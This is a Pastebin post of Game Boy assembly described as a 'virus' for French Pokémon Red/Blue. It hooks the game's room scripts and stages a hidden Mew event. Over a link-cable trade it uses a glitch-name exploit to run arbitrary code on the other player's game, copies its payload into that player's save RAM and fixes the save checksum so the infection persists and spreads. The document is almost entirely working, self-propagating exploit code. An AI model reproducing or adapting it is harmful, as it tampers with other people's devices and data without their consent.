Advertisement
Guest User

Mew Truck Virus for French

a guest
Mar 2nd, 2017
186
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. SECTION "Main",ROM0 ; D671
  2.  
  3.  
  4. ; Patch the current room script every time we load another room
  5. ld hl,$D374
  6. ld de,$D670
  7. ld a,[hld]
  8. cp $80
  9. jr nc,alreadyPatchedScript
  10. ld [de],a
  11. dec de
  12. ld a,[hl]
  13. ld [de],a
  14. alreadyPatchedScript:
  15.  
  16.  
  17. ld [hl],$88
  18. inc hl
  19. ld [hl],$D6
  20.  
  21.  
  22. ld a, $C3 ; important for DMARoutine
  23. ret
  24.  
  25.  
  26. SECTION "Main",ROM0[$0017] ; D688
  27.  
  28.  
  29. ; Patch hram code to always call the code at D66C
  30. ld hl,$ff80
  31. ld [hl],$18 ; jr 78 (to FFFA)
  32. inc hl
  33. ld [hl],$78
  34. ld hl,$FFFA
  35. ld [hl],$CD ; call $D671
  36. inc hl
  37. ld [hl],$71
  38. inc hl
  39. ld [hl],$D6
  40. inc hl
  41. ld [hl],$18 ; jr 83 (to FF82)
  42. inc hl
  43. ld [hl],$88
  44.  
  45.  
  46. ld a,[$d35e] ; current map
  47. cp $5E
  48. jr z,vermilionDocks
  49. cp $EF
  50. jr z,tradeCenter
  51.  
  52.  
  53. returnFromRoomSpecificScript:
  54.  
  55.  
  56. ; return to to normal script for the room.
  57. ld hl,$D669
  58. ld a,[hli]
  59. ld h,[hl]
  60. ld l,a
  61. jp [hl]
  62. ;;;end
  63.  
  64.  
  65.  
  66.  
  67. vermilionDocks:
  68. ld hl,$A000
  69. jr loadExtraCodeFromSram
  70.  
  71.  
  72. tradeCenter:
  73. ld hl,$A200
  74.  
  75.  
  76. loadExtraCodeFromSram:
  77. ld a,$0A
  78. ld [$0000],a ;enable sram
  79. ld a,$01
  80. ld [$4000],a ;choose sram bank
  81.  
  82.  
  83. ld de,$C800
  84. ld bc,$0200
  85. call $00B5 ; CopyData
  86. ld h,$00
  87. ld [hl],h ; disable sram
  88. call $C800
  89. jr returnFromRoomSpecificScript
  90.  
  91.  
  92. SECTION "Main",ROM0[$0200] ; sram 2000
  93.  
  94.  
  95. ld b,%11
  96. waitForNonHBlank:
  97. ldh a, ($41)
  98. and b
  99. jr z, waitForNonHBlank
  100. waitForHBlank:
  101. ldh a, ($41)
  102. and b
  103. jr nz, waitForHBlank
  104.  
  105.  
  106. ld a,[$8142]
  107. cp $3B
  108. jr z,dontFixMewGraphics
  109. ; fix mew graphics
  110. ld de,$C940
  111. ld hl,$80C0
  112. ld c,4
  113. call $1845 ; CopyVideoData
  114. ld de,$C940
  115. ld hl,$8140
  116. ld c,4
  117. call $1845 ; CopyVideoData
  118. dontFixMewGraphics:
  119.  
  120.  
  121. ld hl,$C1FF
  122. ld a,[hl]
  123. cp $02
  124. ret z ; have fought mew AND done the mew cleanup
  125. and a
  126. jr z,haventFoughtMewYet
  127.  
  128.  
  129. inc [hl]
  130.  
  131.  
  132. xor a
  133. ld [$d4e6],a ; wNumSprites
  134. ld [$C110],a
  135.  
  136.  
  137. haventFoughtMewYet:
  138.  
  139.  
  140. ld hl,$d371 ; text ptr
  141. ld [hl],$20
  142. inc hl
  143. ld [hl],$C9
  144.  
  145.  
  146. ld a,[$c1fe]
  147. and a
  148. jr z,dontNeedToMoveTruckAfterReload
  149.  
  150.  
  151. ld hl,$c731
  152. ld a,[hl]
  153. cp $0C
  154. jr z,dontNeedToMoveTruckAfterReload
  155.  
  156.  
  157. ld a,$0C
  158. ld [hl],a ; remove truck
  159.  
  160.  
  161. ld a,3
  162. ld [$d0a4],a ; wNewTileBlockID
  163. ld bc, $000B ; coords to right of truck
  164. ld a,$17 ; ReplaceTileBlock
  165. call $3E6E ; Predef
  166. ret
  167.  
  168.  
  169. dontNeedToMoveTruckAfterReload:
  170.  
  171.  
  172. ld a,[$D367] ; X pos
  173. cp $13
  174. ret nz
  175. ld a,[$D72D] ;strength
  176. and $01
  177. ret z
  178. ld a,[$CFCB] ; tile in front of player = left side of truck
  179. cp $58
  180. ret nz
  181. ld a,[$D52D] ; pushing right
  182. cp $01
  183. ret nz
  184.  
  185.  
  186. ld hl,$c1fe
  187. inc [hl] ; flag truck as pushed
  188.  
  189.  
  190. ld a,$02 ; dust
  191. ld [$cd60],a
  192.  
  193.  
  194. ld a, $A8; SFX_PUSH_BOULDER
  195. call $23AD ; PlaySound
  196.  
  197.  
  198. ld de,$C980 ; copy truck graphics into sprite reachable area
  199. ld hl,$8900
  200. ld c,8
  201. call $1845 ; CopyVideoData
  202.  
  203.  
  204. ld a,$0C
  205. ld [$d0a4],a ; wNewTileBlockID
  206. ld bc, $000A ; coords to truck
  207. ld a,$17 ; ReplaceTileBlock
  208. call $3E6E ; Predef
  209.  
  210.  
  211. ld e,$58
  212. truckDelayLoop:
  213. ld hl,$c360
  214. ld b,$50
  215. ld d,$90
  216. ld c,e
  217. truckLoop:
  218. ld [hl],b
  219. inc hl
  220. ld [hl],c
  221. ld a,c
  222. add a,$08
  223. ld c,a
  224. inc hl
  225. ld [hl],d
  226. inc d
  227. inc hl
  228. ld [hl],$10
  229. inc hl
  230. ld a,d
  231. cp $94
  232. jr nz,notSecondRow
  233. ld b,$58
  234. ld c,e
  235. notSecondRow:
  236. cp $98
  237. jr nz,truckLoop
  238. inc e
  239. call $20AB ; DelayFrame
  240. ld a,e
  241. cp $79
  242. jr nz,truckDelayLoop
  243.  
  244.  
  245. ld a,1
  246. ld [$d4e1],a; wNumSprites
  247. ld [$c110],a
  248. ld hl,$C214
  249. ld [hl],$04
  250. inc hl
  251. ld [hl],$19
  252. inc hl
  253. ld [hl],$FF
  254. ld hl,$c21e
  255. ld [hl],$02
  256.  
  257.  
  258. ld hl, $C056 ;mess with music
  259. ld a,$FF
  260. ld [hli],a
  261. ld [hl],a
  262. ld l,$e9
  263. ld [hl],$70
  264.  
  265.  
  266. ld a,3
  267. ld [$d09f],a ; wNewTileBlockID
  268. ld bc, $000B ; coords to right of truck
  269. ld a,$17 ; ReplaceTileBlock
  270. call $3E6E ; Predef
  271.  
  272.  
  273. ret
  274.  
  275.  
  276. SECTION "Main",ROM0[$0320] ; 2120
  277.  
  278.  
  279. DB $22,$C9 ; pointer to this text
  280. DB $00,$8C,$A4,$B6,$E7,$50,$08 ; Mew!, terminator, asm
  281. ld a, $15 ; Mew
  282. ld [$d05e], a ; wCurOpponent
  283. call $13D0 ; PlayCry
  284. call $3748 ; WaitForSoundToFinish
  285. ld a, 50
  286. ld [$d12c], a ; wCurEnemyLVL
  287. ld hl,$c1ff
  288. inc [hl]
  289. jp $24D3; TextScriptEnd
  290.  
  291.  
  292.  
  293.  
  294. SECTION "Main",ROM0[$0400] ; sram 2200
  295.  
  296.  
  297. ld hl,$d735
  298. res 2,[hl] ; enable use of A button
  299.  
  300.  
  301. ld hl,$D366
  302. ld a,[hli] ; X pos
  303. cp $04
  304. ret nz
  305. ld a,[hl]
  306. cp $03
  307. jr z,dontRet
  308. cp $06
  309. ret nz
  310. dontRet:
  311.  
  312.  
  313. ld hl,$d735
  314. set 2,[hl] ; disable use of A button (for interacting with game boy)
  315.  
  316.  
  317. ldh a,($AA) ; check direction
  318. xor $03 ; switch 1 and 2
  319. ld hl,$d52f
  320. cp [hl]
  321. ret nz
  322.  
  323.  
  324. ldh a,($B3) ; check a pressed
  325. dec a
  326. ret nz
  327.  
  328.  
  329. ld a,$08
  330. ldh ($B8),a
  331. ld a,$22 ; just a moment
  332. call $3F12 ; PrintPredefTextID
  333.  
  334.  
  335. ld a,$02
  336. ld [$d130],a ; link state = trade
  337.  
  338.  
  339. dec a ; $01
  340. ldh ($BA),a ; enable continuous WRAM to VRAM transfer each V-blank
  341. call $3DF4 ; Delay3
  342. xor a
  343. ldh ($B0),a ; put the window on the screen
  344.  
  345.  
  346. ld a,$01
  347. ld h,$20
  348. ld [hl],a
  349. ldh ($B8),a ; change bank
  350.  
  351.  
  352. ld hl,$D146
  353. ld bc,$1810
  354. setUpFD:
  355. ld [hl],c
  356. inc hl
  357. dec b
  358. jr nz,setUpFD
  359.  
  360.  
  361. ld hl,$d164
  362. ld bc,$0161
  363. findFirstFF:
  364. ld a,[hli]
  365. dec bc
  366. inc a
  367. jr nz,findFirstFF
  368. dec hl
  369. fillWithE3:
  370. ld a,$E3
  371. ld [hli],a
  372. dec bc
  373. ld a,b
  374. or c
  375. jr nz,fillWithE3
  376. ld [hl],$FC ; glitch pokemon name for blue that points to rng bytes
  377.  
  378.  
  379. ld a,$3B
  380. fillWithCE:
  381. inc hl
  382. ld [hl],$CE ; send red to CBD7
  383. dec a
  384. jr nz,fillWithCE
  385.  
  386.  
  387. ld hl,$CBD7
  388. ld [hl],$C3 ; jp $C8E0
  389. inc hl
  390. ld [hl],$E0
  391. inc hl
  392. ld [hl],$C8
  393.  
  394.  
  395. ld hl,$C508
  396. ld a,$FD
  397. ld [hli],a
  398. ld [hli],a
  399. ld [hli],a
  400. ld a,$FF
  401. ld [hli],a
  402. ld [hli],a
  403. xor a
  404. ld [hli],a
  405. ld [hli],a
  406. ld [hli],a
  407. ld [hli],a
  408.  
  409.  
  410. ld d,h
  411. ld e,l
  412. ld hl,$C920
  413. ld bc,$0080
  414. call $00B5 ; CopyData
  415.  
  416.  
  417. ld hl,$D14D
  418. ld [hl],$C3 ; jp $C5D8
  419. inc hl
  420. ld [hl],$D8
  421. inc hl
  422. ld [hl],$C5
  423. inc hl
  424. ;next bytes - landing anywhere in this sequence will jump you back to the jp $C5DF
  425. ld [hl],$18 ; jr -5
  426. inc hl
  427. ld [hl],$FB
  428. inc hl
  429. ld [hl],$00 ; nop
  430. inc hl
  431. ld [hl],$18 ; jr -5
  432. inc hl
  433. ld [hl],$FB
  434. inc hl
  435. ld [hl],$18 ; jr -10
  436. inc hl
  437. ld [hl],$F6
  438.  
  439.  
  440. call $190C ; ClearScreen
  441. call $2425 ; UpdateSprites
  442. call $369D ; LoadFontTilePatterns
  443. call $5AE6 ; LoadTrainerInfoTextBoxTiles
  444. ld hl,$C443
  445. ld bc,$020C
  446. call $5AB3 ; CableClub_TextBoxBorder
  447. ld hl,$C46C
  448. ld de,$550F
  449. call $1952 ; PlaceString
  450.  
  451.  
  452. pop bc
  453. jp $53B5 ; CableClub_DoBattleOrTrade - from "call Serial_SyncAndExchangeNybble"
  454.  
  455.  
  456. SECTION "Main",ROM0[$04E0] ; sram 22DC
  457. ;code for red
  458.  
  459.  
  460. ld sp,$DFF9 ; fix broken stack
  461.  
  462.  
  463. ld h,$0A
  464. ld [hl],h ;enable sram
  465.  
  466.  
  467. ld a,$A0
  468.  
  469.  
  470. loopVirus:
  471. push af
  472. ld h,a
  473. ld l,$00
  474. ld de,$c700
  475. ld bc,$0100
  476. call $00B5 ; CopyData
  477.  
  478.  
  479. call $227B ; Serial_SyncAndExchangeNybble
  480. call $3DF4 ; Delay3
  481.  
  482.  
  483. ld hl,$c6FF
  484. ld [hl],$FD
  485. ld de,$c6e8
  486. ld bc,$0110
  487. ld a,$08
  488. ldh ($FF),a
  489. call $216B ; Serial_ExchangeBytes (216B)
  490. ld a,$0D
  491. ldh ($FF),a
  492. pop af
  493. inc a
  494. cp $A4
  495. jr nz,loopVirus
  496.  
  497.  
  498. ld a,$51 ; LoadSAV2 - reload our corrupted party data. also disables sram
  499. call $3E6E ; Predef
  500.  
  501.  
  502. jp $5345 ; CableClub_DoBattleOrTradeAgain
  503.  
  504.  
  505. SECTION "Main",ROM0[$0520] ; sram 2320
  506. ;code for blue
  507.  
  508.  
  509. ld sp,$DFE7 ; fix broken stack
  510.  
  511.  
  512. ld h,$0A
  513. ld [hl],h ;enable sram
  514. ld h,$40
  515. ld [hl],$01 ;choose sram bank
  516.  
  517.  
  518. ld a,$A0
  519.  
  520.  
  521. loopVictim:
  522. push af
  523.  
  524.  
  525. call $227B ; Serial_SyncAndExchangeNybble
  526. call $3DF4 ; Delay3
  527.  
  528.  
  529. ld hl,$0316
  530. ld de,$C800
  531. push de
  532. ld bc,$0110
  533. ld a,$08
  534. ldh ($FF),a
  535. call $216B ; Serial_ExchangeBytes (216B)
  536. ld a,$0D
  537. ldh ($FF),a
  538.  
  539.  
  540.  
  541.  
  542. pop hl
  543. checkForFD:
  544. ld a,[hli]
  545. cp $FD
  546. jr z,checkForFD
  547. dec hl
  548.  
  549.  
  550. pop af
  551. push af
  552. ld d,a
  553. ld e,$00
  554. ld bc,$0100
  555. call $00B5 ; CopyData
  556. pop af
  557. inc a
  558. cp $A4
  559. jr nz,loopVictim
  560.  
  561.  
  562. ld hl,$A61A
  563. ld de,$A916
  564. ld a,[hl]
  565. ld [hl],$83
  566. ld [de],a
  567. inc hl
  568. inc de
  569. ld a,[hl]
  570. ld [hl],$D6
  571. ld [de],a
  572. inc de
  573.  
  574.  
  575. ld hl,$A39B
  576. ld bc,$0065
  577. call $00B5 ; CopyData
  578.  
  579.  
  580. ld a,$1C
  581. ld [$1FFC],a
  582. ldh ($B8),a
  583. ld hl, $A598
  584. ld bc, $0F8B
  585. call $7856 ; SAVCheckSum
  586. ld [$b523], a
  587.  
  588.  
  589. ld h,$00
  590. ld [hl],h ;disable sram
  591.  
  592.  
  593. ld a,$01
  594. ld [$1FFC],a
  595. ldh ($B8),a
  596. jp $5339 ; CableClub_DoBattleOrTradeAgain
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement